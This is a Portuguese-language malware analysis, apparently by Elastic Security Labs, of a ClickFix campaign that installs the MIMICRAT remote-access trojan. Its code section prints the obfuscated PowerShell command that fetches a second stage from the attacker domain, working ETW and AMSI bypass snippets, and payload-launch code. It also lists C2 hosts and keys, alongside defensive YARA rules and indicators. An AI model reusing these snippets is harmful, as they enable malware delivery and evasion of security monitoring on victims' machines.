Introdução
Durante uma investigação recente, a Elastic Security Labs identificou uma campanha ativa do ClickFix que comprometia vários sites legítimos para distribuir uma cadeia de malware de múltiplas etapas. Ao contrário das implementações mais simples do ClickFix, que terminam em programas genéricos de roubo de informações, esta campanha termina com um poderoso trojan de acesso remoto (RAT) personalizado que chamamos de MIMICRAT: um implante nativo em C com perfis C2 maleáveis, representação de token, tunelamento SOCKS5 e uma tabela de despacho de 22 comandos.
A campanha demonstra um alto nível de sofisticação operacional: sites comprometidos abrangendo vários setores e geografias servem como infraestrutura de entrega, uma cadeia PowerShell de vários estágios realiza bypass de ETW e AMSI antes de instalar um carregador de shellcode com script Lua, e o implante final se comunica via HTTPS na porta 443 usando perfis HTTP que se assemelham ao tráfego legítimo de análise da web.
Principais conclusões
- Diversos sites legítimos foram comprometidos para executar uma cadeia de ataque de cinco etapas.
- O carregador Lua executa shellcode embutido.
- MIMICRAT é um RAT nativo em C++ personalizado com perfis C2 maleáveis, roubo de tokens do Windows e proxy SOCKS5.
Descoberta
A Elastic Security Labs identificou esta campanha pela primeira vez no início de fevereiro 2026 através da telemetria do endpoint sinalizando a execução suspeita do PowerShell com argumentos de linha de comando ofuscados.
Dada a novidade da carga final, divulgamos publicamente os indicadores iniciais através das redes sociais em 11 de fevereiro, 2026 para garantir que a comunidade de segurança em geral pudesse começar a procurar e a defender-se contra esta ameaça enquanto a nossa análise completa estava em curso. A campanha permanece ativa até a data desta publicação.
Pesquisadores da Huntress documentaram campanhas relacionadas ao ClickFix usando infraestrutura e técnicas semelhantes, o que indica a abrangência das operações desse agente de ameaças em múltiplas campanhas paralelas.
Entrega da campanha
A execução da campanha depende inteiramente da invasão de sites legítimos e confiáveis, em vez da infraestrutura pertencente ao atacante. O ponto de entrada para as vítimas é bincheck[.]io, Um serviço legítimo de validação do Número de Identificação Bancária (BIN). O agente da ameaça comprometeu este site e injetou um trecho malicioso de JavaScript que carrega dinamicamente um script externo hospedado em https://www.investonline[.]in/js/jq.php, um segundo site comprometido, uma plataforma legítima de investimento em fundos mútuos indianos (Abchlor Investments Pvt. Ltd.). O script externo recebe um nome que simula a biblioteca jQuery, integrando-se aos recursos já existentes na página.
É este script carregado remotamente (jq.php) que fornece a isca ClickFix: uma página de verificação Cloudflare falsa instruindo a vítima a colar e executar manualmente um comando para "corrigir" um problema. A isca copia um comando PowerShell malicioso diretamente para a área de transferência da vítima e solicita que ela abra uma caixa de diálogo Executar (Win+R) ou prompt do PowerShell e cole o comando. Essa técnica contorna completamente as proteções de download baseadas em navegador, já que nenhum arquivo é baixado.
Essa estratégia de comprometimento multidimensional depende de um site voltado para a vítima carregar um script malicioso a partir de um segundo site comprometido, distribuindo o risco de detecção e aumentando a legitimidade percebida da isca tanto para os usuários quanto para as ferramentas de segurança automatizadas. A campanha suporta 17 idiomas, com o conteúdo de isca sendo localizado dinamicamente com base nas configurações de idioma do navegador da vítima para ampliar seu alcance efetivo. As vítimas identificadas estão localizadas em diversas regiões geográficas, incluindo uma universidade nos EUA e vários usuários de língua chinesa documentados em discussões em fóruns públicos, o que sugere uma ampla seleção de alvos oportunistas.
A seguir, apresentamos a lista de idiomas suportados pelo ClickFix:
- Inglês
- Chinês
- Russo
- Espanhol
- Francês
- Alemão
- Português
- Japonês
- Coreano
- Italiano
- turco
- Polonês
- Holandês
- vietnamita
- árabe
- hindi
- indonésio
Análise de código
Assim que a vítima executa o comando da área de transferência, a campanha se desenrola em cinco etapas distintas: um downloader PowerShell ofuscado contata o servidor de comando e controle (C2) para obter um script de segunda etapa que modifica o registro de eventos do Windows (ETW) e a verificação antivírus (AMSI) antes de instalar um carregador baseado em Lua; o carregador descriptografa e executa o shellcode inteiramente na memória; e o shellcode finalmente instala o MIMICRAT, um RAT (Trojan de Acesso Remoto) capaz, projetado para acesso persistente e movimentação lateral.
Estágio 1 Comando de uma linha do PowerShell
O comando transferido da área de transferência é um comando PowerShell compacto e ofuscado de uma única linha:
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
O comando usa fatiamento de strings e operações de índice aritmético em uma única string inicial (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) para reconstruir o domínio de destino e o mecanismo de invocação em tempo de execução, evitando qualquer representação em texto simples do domínio C2 ou nomes de cmdlets do PowerShell na carga útil inicial. A janela está minimizada (-WInDo Min). O domínio extraído é xMRi.neTwOrk, que resolve para 45.13.212.250 e baixa um script PowerShell de segundo estágio.
A infraestrutura que gira em torno de 45.13.212.250 por meio de relações do VirusTotal revelou um segundo domínio, WexMrI.CC, resolvendo para o mesmo IP. Ambos os domínios compartilham o mesmo padrão de ofuscação de formatação com letras maiúsculas e minúsculas misturadas.
Estágio 2 Script PowerShell ofuscado
O script PowerShell da segunda etapa, que foi baixado, é significativamente mais elaborado. Todas as strings são construídas em tempo de execução, resolvendo expressões aritméticas em caracteres ASCII:
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"
Essa técnica torna o script opaco à análise estática e à detecção baseada em assinaturas, mantendo-o totalmente funcional em tempo de execução. Uma declaração de classe fictícia é incluída como isca e
O script executa quatro operações sequenciais:
ETW Bypass
O script acessa o campo interno m_enabled da classe System.Diagnostics.Eventing.EventProvider por meio de reflexão e altera seu valor para 0, desativando efetivamente o rastreamento de eventos para Windows e impedindo o registro de bloco de script do PowerShell.
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Desvio AMSI
O script usa então reflexão para acessar System.Management.Automation.AmsiUtils e define o campo amsiInitFailed como $true, fazendo com que o PowerShell ignore toda a verificação de conteúdo AMSI pelo restante da sessão.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI - Correção de memória
O script realiza a correção do identificador do método em tempo de execução por meio de Marshal.Copy em uma etapa adicional, porém menos comum, de evasão de defesa, sobrescrevendo ponteiros de método na memória para redirecionar a execução para longe dos caminhos de código monitorados. Isso direciona a função ScanContent sob System.Management.Automation.AmsiUtils para um método generate vazio.
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
Entrega de carga útil
Com o registro de eventos e a verificação de antivírus desativados, o script decodifica um arquivo ZIP codificado em base64, extrai-o para um diretório com nome aleatório em %ProgramData%/knz_{random} e executa o binário contido zbuild.exe. Os artefatos temporários são removidos após a execução.
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
Carregador Lua de estágio 3
O arquivo binário gerado é um carregador Lua 5.4.7 personalizado. Ele incorpora um interpretador Lua estaticamente.
O binário descriptografa um script Lua incorporado usando um stub XOR em tempo de execução e, em seguida, o executa. A rotina de decriptação XOR (fxh::utility::lua_script_xor_decrypt) itera sobre o buffer criptografado aplicando XOR em cada byte contra uma chave.
O script Lua implementa um decodificador Base64 personalizado com um alfabeto não padrão para decodificar um shellcode embutido. O shellcode decodificado é então alocado na memória executável através de luaalloc, copiado para essa memória com luacpy e finalmente executado através de luaexe, conseguindo a execução de shellcode totalmente em memória e sem arquivos.
Shellcode de estágio 4
O shellcode apresentou correspondência com assinaturas relacionadas ao Meterpreter, sugerindo que o estágio do shellcode é um carregador consistente com a família de código Meterpreter para carregar o MIMICRAT na memória de forma reflexiva.
Estágio 5 MIMICRAT
A carga útil final com metadados de compilação definidos para janeiro 29 2026 é um PE MSVC x64 nativo compilado com o linker do Microsoft Visual Studio versão 14.44. Não corresponde exatamente a nenhum framework C2 de código aberto conhecido, implementando seus próprios perfis C2 HTTP maleáveis com despacho de comandos baseado em caracteres ASCII e uma arquitetura personalizada.
Configuração e comunicação C2
A configuração do MIMICRAT é armazenada na seção .data . Contém chaves criptográficas, parâmetros de conexão e dois perfis completos de comunicação HTTP. Todas as strings de cabeçalho e URIs são codificadas em ASCII hexadecimal e decodificadas em tempo de execução.
O C2 opera via HTTPS na porta 443 com um intervalo de retorno de chamada de 10 segundos. O nome do host do servidor C2 (d15mawx0xveem1.cloudfront.net) está criptografado com RC4 usando a seguinte chave RC4 @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.
O implante utiliza HTTPS para comunicação com um esquema de criptografia em camadas: uma chave pública RSA-1024 incorporada lida com a troca assimétrica de chaves de sessão.
Embora o AES seja usado para criptografia simétrica do tráfego C2, ele usa um IV fixo abcdefghijklmnop e uma chave calculada em tempo de execução que deriva de um valor de hash SHA-256 de um valor alfanumérico gerado aleatoriamente, por exemplo, 9ZQs0p0gfpOj3Y02.
A seguir, apresentamos o perfil utilizado pelo exemplo para solicitações POST e GET:
Perfil HTTP GET: Check-in e atribuição de tarefas
| Componente | Value |
|---|---|
| Uri | /intake/organizations/events?channel=app |
| Agente do usuário | Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045 |
| Referência | [https://www.google.com/?q=dj1](https://www.google.com/?q=dj1) |
| Aceitar idioma | zh-CN,zh;q=0.9 |
| da web | AFUAK, BLA, HFK |
Perfil HTTP POST: exfiltração de dados
| Componente | Value |
|---|---|
| Uri | /discover/pcversion/metrics?clientver=ds |
| Referência | [https://gsov.google.com/](https://gsov.google.com/) |
| da web | ARCHUID, BRCHD, ZRCHUSR |
Despacho de Comando
O MIMICRAT implementa um total de 22 comandos distintos para fornecer capacidades de pós-exploração, como controle de processos e sistemas de arquivos, acesso interativo ao shell, manipulação de tokens, injeção de shellcode e tunelamento de proxy SOCKS. O intervalo e a variação do sinal (jitter) do beacon podem ser configurados pelo operador em tempo de execução por meio de comandos específicos. Segue abaixo uma tabela resumida de todos os comandos implementados:
| ID do comando | Função | Descrição |
|---|---|---|
| 3 | Saída | Encerra o processo de implante. |
| 4 | Defina o intervalo do sinalizador. | Configura a duração do sono e a variação de tempo (jitter). |
| 5 | Alterar diretório | Altera o diretório de trabalho atual. |
| 10 | Arquivo de gravação | Grava em disco uma carga útil fornecida pelo C2 (sobrescreve). |
| 11 | Leia o arquivo | Lê um arquivo do disco e exfiltra o conteúdo para o C2. |
| 12 | Processo de desova | Inicia um processo usando um token roubado, se disponível, e, caso contrário, recorre à execução padrão. |
| 28 | Reverter representação | Reverte a representação do token e limpa o estado do token. |
| 31 | Roubar ficha | Duplica o token de segurança de um processo alvo pelo PID. |
| 32 | Listar processos | Enumera os processos em execução com PID, PPID, usuário, domínio e arquitetura. |
| 33 | Encerrar (kill) processo | Encerra um processo por meio de PID |
| 39 | Obter diretório atual | Retorna o diretório de trabalho atual para C2. |
| 53 | Listar arquivos | Lista arquivos e diretórios com data e hora e tamanhos. |
| 54 | Criar diretório | Cria um diretório no disco. |
| 55 | Liste os drives | Enumera as unidades lógicas |
| 56 | Excluir arquivo/diretório | Exclui um arquivo ou remove um diretório. |
| 67 | Anexar ao arquivo | Anexa os dados fornecidos por C2 a um arquivo existente. |
| 73 | Copiar arquivo | Copia um arquivo da origem para o destino. |
| 74 | Mover/renomear arquivo | Move ou renomeia um arquivo. |
| 78 | Concha interativa | Abre um shell CMD interativo persistente através de um pipe. |
| 100 | Injetar shellcode | Injeção de shellcode reflexivo |
| 101 | MEIAS | Configura ou desativa o canal proxy SOCKS. |
| 102 | proxy SOCKS | Compartilha o mesmo manipulador com o comando 101; provavelmente um comando de espaço reservado. |
Infraestrutura
A infraestrutura de rede da campanha se divide em dois grupos principais:
Cluster A — Entrega inicial da carga útil (45.13.212.251 / 45.13.212.250)
Vários domínios apontam para este intervalo de IP, incluindo xMRi.neTwOrk e WexMrI.CC. A nomenclatura de domínio utiliza ofuscação com letras maiúsculas e minúsculas misturadas. Essa infraestrutura serve de base para o script PowerShell da segunda etapa e para o arquivo ZIP da carga útil incorporada.
Cluster B Pós-Exploração C2 (23.227.202.114)
Associado a www.ndibstersoft[.]com e observado em comunicações de beacon do arquivo descartado. Isso representa o canal C2 pós-exploração do operador.
Relé CloudFront C2
d15mawx0xveem1.cloudfront[.]net Está confirmado como parte da infraestrutura C2 do MIMICRAT. As relações VT para a amostra rgen.zip mostram que ela contata este domínio CloudFront usando o mesmo padrão de URI /intake/organizations/events?channel=app identificado no perfil GET do MIMICRAT, confirmando que ela atua como um servidor de retransmissão C2 para o servidor de backend.
Infraestrutura de entrega
Dois sites legítimos comprometidos formam a cadeia de distribuição:
bincheck.io— Ponto de entrada voltado para a vítima; comprometido para carregar o script malicioso externoinvestonline.in— hospeda o payload JavaScript do ClickFix (/js/jq.php) disfarçado de jQuery; este script renderiza a isca e entrega o PowerShell da área de transferência
Malware e MITRE ATT&CK**
A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas.
Táticas
As táticas representam o porquê de uma técnica ou subtécnica. É o objetivo tático do adversário: a razão para executar uma ação.
- Acesso inicial
- Execução
- Defense Evasion
- Persistência
- Escalação de privilégios
- Descoberta
- Exfiltração
- Command and Control (Comando e controle)
Técnicas
Técnicas representam como um adversário atinge um objetivo tático executando uma ação.
- Phishing: Spearphishing via Serviço (área de transferência do ClickFix)
- Execução do usuário: Link malicioso
- Interpretador de comando e script: PowerShell
- Arquivos ou informações ofuscados: Ofuscação de comandos
- Prejudicar as defesas: desativar ou modificar ferramentas (bypass do AMSI)
- Prejudicar as defesas: Desativar o registro de eventos do Windows (patch ETW)
- Carregamento de código reflexivo / Execução em memória
- Tarefa/trabalho agendado
- Manipulação de Token de Acesso: Falsificação/Roubo de Token
- Injeção de processo
- Descoberta de Processos
- Descoberta de arquivos e diretórios
- Exfiltração sobre o canal C2
- Protocolo da Camada de Aplicação: Protocolos Web (HTTPS)
- Proxy
Mitigações
Detecção
As seguintes regras de detecção e eventos de prevenção de comportamento foram observados durante a análise deste conjunto de intrusão:
- Execução via script PowerShell ofuscado
- Consulta DNS para domínio de nível superior suspeito
- Execução suspeita de shell de comando via Windows Run
- Roubo de fichas e falsificação de identidade
- Potential Privilege Escalation via Token Impersonation (potencial escalação de privilégios por meio de representação indevida de token)
- Execução de Shellcode do Módulo de Baixa Reputação
YARA
A Elastic Security criou regras YARA para identificar essa atividade. Abaixo estão as regras YARA para identificar o MimicRat:
rule Windows_Trojan_MimicRat {
meta:
author = "Elastic Security"
creation_date = "2026-02-13"
last_modified = "2026-02-13"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "MimicRat"
threat_name = "Windows.Trojan.MimicRat"
reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
scan_type = "File, Memory"
severity = 100
strings:
$b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
$b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
condition:
all of them
}
Observações
Todos os observáveis também estão disponíveis para download nos formatos ECS e STIX em um pacote zip combinado.
Os seguintes observáveis foram discutidos nesta pesquisa.
| Observável | Tipo | Nome | Referência |
|---|---|---|---|
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1 | SHA-256 | Carga útil do PowerShell do estágio 1 | |
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51 | SHA-256 | Carregador Lua | |
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b | SHA-256 | Sinalizador MIMICRAT | |
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb | SHA-256 | Exemplo de farol relacionado | |
45.13.212.251 | Propriedade Intelectual | Infraestrutura de entrega de carga útil | |
45.13.212.250 | Propriedade Intelectual | Infraestrutura de entrega de carga útil | |
23.227.202.114 | Propriedade Intelectual | C2 pós-exploração | |
xmri.network | Domínio | Etapa 1 C2 / entrega de carga útil | |
wexmri.cc | Domínio | Estágio 1 C2 alternativo | |
www.ndibstersoft[.]com | Domínio | C2 pós-exploração | |
d15mawx0xveem1.cloudfront[.]net | Domínio | C2 pós-exploração | |
www.investonline.in/js/jq.php | URL | Host de payload JS malicioso (comprometido) | |
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip | URL | Entrega de carga útil |
